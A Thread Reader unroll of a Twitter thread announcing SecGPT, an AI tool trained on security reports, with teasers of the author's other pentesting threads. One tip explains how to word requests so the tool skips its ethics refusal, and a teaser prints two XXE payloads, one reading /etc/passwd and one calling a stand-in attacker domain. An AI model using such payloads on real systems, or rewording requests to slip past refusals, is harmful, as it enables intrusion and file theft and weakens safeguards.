πŸ‡·πŸ‡΄ cristi Profile picture
Mar 17 β€’ 7 tweets β€’ 4 min read
πŸš€πŸ”’Exciting news! SecGPT is now LIVE!

Trained on thousands of cybersecurity reports, SecGPT revolutionizes cybersecurity with AI-driven insights.πŸ‘‡
1. Trained on an extensive collection of cybersecurity reports, @SecGPT provides you with a deeper understanding of vulnerabilities, exploitation techniques, and emerging trends in cybersecurity.

Its knowledge increases as more reports and writeups are published.
2. Explore SecGPT's capabilities and see how it can assist you in enhancing your cybersecurity expertise.

Try it out for free at alterai.me

#ai #cybersecurity #infosec #pentesting #ethicalhacking #bugbounty #bugbountytips #secgpt
Tips to use:

Don't ask:

"top <SSRF> payloads" or something like that => It will throw you ethics reply.

Consider SecGPT as an AI trained on thousands of reports, It doesn't know everything, it knows only what's been trained on.

Ask, instead:

What is an interesting report on… twitter.com/i/web/status/1…
Also, do not ask for:

Give me 10 <something>.

While still small, it may not find 10 exact relevant pieces to your query, therefore it will not respond.

Instead, ask specifically:

Is there a payload to bypass XSS filters when ">" is not allowed?

Be specific!
Needles to say @LangChainAI and @hwchase17 FTW.
Some users had issues signing up. It's fixed now.

β€’ β€’ β€’

Missing some Tweet in this thread? You can try to force a refresh
γ€€

Keep Current with πŸ‡·πŸ‡΄ cristi

πŸ‡·πŸ‡΄ cristi Profile picture

Stay in touch and get notified when new unrolls are available from this author!

Read all threads

This Thread may be Removed Anytime!

PDF

Twitter may remove this content at anytime! Save it as PDF for later use!

Try unrolling a thread yourself!

how to unroll video
  1. Follow @ThreadReaderApp to mention us!

  2. From a Twitter thread mention us with a keyword "unroll"
@threadreaderapp unroll

Practice here first or read more on our help page!

More from @CristiVlad25

Mar 16
I never rely on automation alone.

In a recent external pentest, I was going over the assets manually, while running some tools in the background, including nuclei.
1. One instance was running a software vulnerable to arbitrary file deletion. Nuclei didn't even smell it, unfortunately.

What I usually do, is to look over famous exploits for the specific software. And this one was a victim.
2. Another instance was running a software vulnerable to RCE. Thanks @infosec_au for the amazing work that help uncover this.

Nuclei has some templates for this, but they didn't catch it.

Similar to #1, I dug deeper manually and confirmed the vulnerabilty.
Read 4 tweets
Mar 14
Broken Access Control attack vectors, by #ChatGPT4 πŸ‘‡ Image
1. IDOR

This occurs when an application exposes internal implementation objects, such as files, directories, or database keys, without proper authorization checks. Attackers can manipulate these references to gain unauthorized access to sensitive data.
2. Privilege Escalation

An attacker could exploit insecure access controls to elevate their privileges within the application, allowing them to perform unauthorized actions or access sensitive data.
Read 11 tweets
Mar 13
Boost your pentesting and bug bounty game with SecGPT's AI insights from thousands of online security reports.

I've asked it for some XXE payloads found in the reports. Image
1. Basic XXE payload

`<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>`
2. Blind XXE payload

`<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attackerdomain/xxe.dtd">%xxe;]><foo></foo>`
Read 7 tweets
Mar 11
Unlocking the Secrets: Breaking Access Controls, the basics πŸ‘‡

(from the AI model I'm currently training on security reports) Image
1. Direct object reference

This occurs when an attacker is able to access a resource directly by manipulating a parameter in the URL or form data.
2. Horizontal privilege escalation

This occurs when an attacker is able to access resources or perform actions that are intended for another user with the same level of access.
Read 8 tweets
Mar 8
Large language models exhibit emergent abilities πŸ‘‡
1. Large language models (LLMs) exhibit emergent abilities after crossing a critical value of effective parameters
2. Emergent abilities include performing arithmetic, answering questions, summarizing passages, and more
Read 6 tweets
Mar 7
As much as I love automation in recon, 98% of the findings in my pentests have nothing to do with it. Why? πŸ‘‡
1. Inspired by @NahamSec recent video.

First, in a large majority of the web pentests, clients want me to focus only on their app and it's features. So, there's no need for subdomain enumeration/bruteforcing or any other large recon tactic.
2. This doesn't mean that I don't use automation. I automate some of the boring and repetitive tasks via bash and python.
Read 9 tweets

Did Thread Reader help you today?

Support us! We are indie developers!


This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3/month or $30/year) and get exclusive features!

Become Premium

Don't want to be a Premium member but still want to support us?

Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal

Or Donate anonymously using crypto!

Ethereum

0xfe58350B80634f60Fa6Dc149a72b4DFbc17D341E copy

Bitcoin

3ATGMxNzCUFzxpMCHL5sWSt4DVtS8UqXpi copy

Thank you for your support!

Follow Us on Twitter!

:(